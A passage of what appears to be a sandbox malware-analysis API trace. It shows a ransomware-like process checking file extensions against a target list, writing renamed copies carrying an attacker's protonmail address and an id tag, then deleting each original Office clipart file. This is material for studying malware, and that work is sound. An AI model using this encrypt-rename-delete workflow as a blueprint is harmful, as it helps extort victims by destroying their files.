	[0086.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.043] lstrlenW (lpString=".doc") returned 4
	[0086.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.043] lstrlenW (lpString=".docx") returned 5
	[0086.043] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.043] lstrlenW (lpString=".pdf") returned 4
	[0086.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.043] lstrlenW (lpString=".xls") returned 4
	[0086.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.043] lstrlenW (lpString=".xlsx") returned 5
	[0086.043] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.043] lstrlenW (lpString=".ppt") returned 4
	[0086.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.043] lstrlenW (lpString=".zip") returned 4
	[0086.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.043] lstrlenW (lpString=".rar") returned 4
	[0086.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.043] lstrlenW (lpString=".bz2") returned 4
	[0086.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.044] lstrlenW (lpString=".7z") returned 3
	[0086.044] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.044] lstrlenW (lpString=".dbf") returned 4
	[0086.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.044] lstrlenW (lpString=".1cd") returned 4
	[0086.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.044] lstrlenW (lpString=".jpg") returned 4
	[0086.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.044] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.044] lstrlenW (lpString="ED00184_.WMF") returned 12
	[0086.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0086.044] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=6958) returned 1
	[0086.044] CloseHandle (hObject=0x37c) returned 1
	[0086.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x220
	[0086.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0086.045] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.045] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0086.045] GetLastError () returned 0x0
	[0086.045] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x1b2e, lpOverlapped=0x0) returned 1
	[0086.378] WriteFile (in: hFile=0x320, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x1b30, lpOverlapped=0x0) returned 1
	[0086.379] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.379] WriteFile (in: hFile=0x320, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.379] SetEndOfFile (hFile=0x320) returned 1
	[0086.379] CloseHandle (hObject=0x320) returned 1
	[0086.379] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.379] SetEndOfFile (hFile=0x37c) returned 1
	[0086.380] CloseHandle (hObject=0x37c) returned 1
	[0086.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.998] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 1
	[0086.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0086.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0086.998] lstrlenW (lpString=".doc") returned 4
	[0086.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.998] lstrlenW (lpString=".docx") returned 5
	[0086.998] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.998] lstrlenW (lpString=".pdf") returned 4
	[0086.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.998] lstrlenW (lpString=".xls") returned 4
	[0086.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.998] lstrlenW (lpString=".xlsx") returned 5
	[0086.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.998] lstrlenW (lpString=".ppt") returned 4
	[0086.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0086.999] lstrlenW (lpString=".zip") returned 4
	[0086.999] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.999] lstrlenW (lpString=".rar") returned 4
	[0086.999] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.999] lstrlenW (lpString=".bz2") returned 4
	[0086.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.999] lstrlenW (lpString=".7z") returned 3
	[0086.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0086.999] lstrlenW (lpString=".dbf") returned 4
	[0086.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0086.999] lstrlenW (lpString=".1cd") returned 4
	[0086.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0086.999] lstrlenW (lpString=".jpg") returned 4
	[0086.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0086.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0086.999] lstrlenW (lpString=".doc") returned 4
	[0086.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.999] lstrlenW (lpString=".docx") returned 5
	[0086.999] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.999] lstrlenW (lpString=".pdf") returned 4
	[0086.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.999] lstrlenW (lpString=".xls") returned 4
	[0086.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.999] lstrlenW (lpString=".xlsx") returned 5
	[0086.999] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.999] lstrlenW (lpString=".ppt") returned 4
	[0086.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0087.000] lstrlenW (lpString=".zip") returned 4
	[0087.000] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.000] lstrlenW (lpString=".rar") returned 4
	[0087.000] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.000] lstrlenW (lpString=".bz2") returned 4
	[0087.000] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.000] lstrlenW (lpString=".7z") returned 3
	[0087.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0087.000] lstrlenW (lpString=".dbf") returned 4
	[0087.000] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0087.000] lstrlenW (lpString=".1cd") returned 4
	[0087.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0087.000] lstrlenW (lpString=".jpg") returned 4
	[0087.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.000] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0087.000] lstrlenW (lpString="FD00336_.WMF") returned 12
	[0087.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.001] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=6068) returned 1
	[0087.001] CloseHandle (hObject=0x378) returned 1
	[0087.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x220
	[0087.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.002] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.002] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0087.002] GetLastError () returned 0x0
	[0087.002] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x17b4, lpOverlapped=0x0) returned 1
	[0087.004] WriteFile (in: hFile=0x380, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x17c0, lpOverlapped=0x0) returned 1
	[0087.005] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.005] WriteFile (in: hFile=0x380, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.005] SetEndOfFile (hFile=0x380) returned 1
	[0087.005] CloseHandle (hObject=0x380) returned 1
	[0087.005] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.005] SetEndOfFile (hFile=0x378) returned 1
	[0087.006] CloseHandle (hObject=0x378) returned 1
	[0087.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0087.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 1
	[0087.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.007] lstrlenW (lpString=".doc") returned 4
	[0087.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.007] lstrlenW (lpString=".docx") returned 5
	[0087.007] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.007] lstrlenW (lpString=".pdf") returned 4
	[0087.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.007] lstrlenW (lpString=".xls") returned 4
	[0087.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.007] lstrlenW (lpString=".xlsx") returned 5
	[0087.007] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.007] lstrlenW (lpString=".ppt") returned 4
	[0087.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.007] lstrlenW (lpString=".zip") returned 4
	[0087.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.007] lstrlenW (lpString=".rar") returned 4
	[0087.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.007] lstrlenW (lpString=".bz2") returned 4
	[0087.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.007] lstrlenW (lpString=".7z") returned 3
	[0087.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.008] lstrlenW (lpString=".dbf") returned 4
	[0087.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.008] lstrlenW (lpString=".1cd") returned 4
	[0087.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.008] lstrlenW (lpString=".jpg") returned 4
	[0087.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.008] lstrlenW (lpString=".doc") returned 4
	[0087.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.008] lstrlenW (lpString=".docx") returned 5
	[0087.008] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.008] lstrlenW (lpString=".pdf") returned 4
	[0087.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.008] lstrlenW (lpString=".xls") returned 4
	[0087.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.008] lstrlenW (lpString=".xlsx") returned 5
	[0087.008] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.008] lstrlenW (lpString=".ppt") returned 4
	[0087.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.008] lstrlenW (lpString=".zip") returned 4
	[0087.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.008] lstrlenW (lpString=".rar") returned 4
	[0087.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.008] lstrlenW (lpString=".bz2") returned 4
	[0087.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.008] lstrlenW (lpString=".7z") returned 3
	[0087.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.009] lstrlenW (lpString=".dbf") returned 4
	[0087.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.009] lstrlenW (lpString=".1cd") returned 4
	[0087.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.009] lstrlenW (lpString=".jpg") returned 4
	[0087.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.009] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0087.009] lstrlenW (lpString="FD00361_.WMF") returned 12
	[0087.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.009] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=4074) returned 1
	[0087.009] CloseHandle (hObject=0x378) returned 1
	[0087.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x220
	[0087.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.010] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.010] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0087.011] GetLastError () returned 0x0
	[0087.011] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xfea, lpOverlapped=0x0) returned 1
	[0087.013] WriteFile (in: hFile=0x380, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xff0, lpOverlapped=0x0) returned 1
	[0087.014] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.014] WriteFile (in: hFile=0x380, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.014] SetEndOfFile (hFile=0x380) returned 1
	[0087.014] CloseHandle (hObject=0x380) returned 1
	[0087.014] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.014] SetEndOfFile (hFile=0x378) returned 1
	[0087.015] CloseHandle (hObject=0x378) returned 1
	[0087.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0087.015] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 1
	[0087.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.015] lstrlenW (lpString=".doc") returned 4
	[0087.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.015] lstrlenW (lpString=".docx") returned 5
	[0087.015] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.015] lstrlenW (lpString=".pdf") returned 4
	[0087.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.016] lstrlenW (lpString=".xls") returned 4
	[0087.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.016] lstrlenW (lpString=".xlsx") returned 5
	[0087.016] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.016] lstrlenW (lpString=".ppt") returned 4
	[0087.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.016] lstrlenW (lpString=".zip") returned 4
	[0087.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.016] lstrlenW (lpString=".rar") returned 4
	[0087.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.016] lstrlenW (lpString=".bz2") returned 4
	[0087.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.016] lstrlenW (lpString=".7z") returned 3
	[0087.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.016] lstrlenW (lpString=".dbf") returned 4
	[0087.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.016] lstrlenW (lpString=".1cd") returned 4
	[0087.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.016] lstrlenW (lpString=".jpg") returned 4
	[0087.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
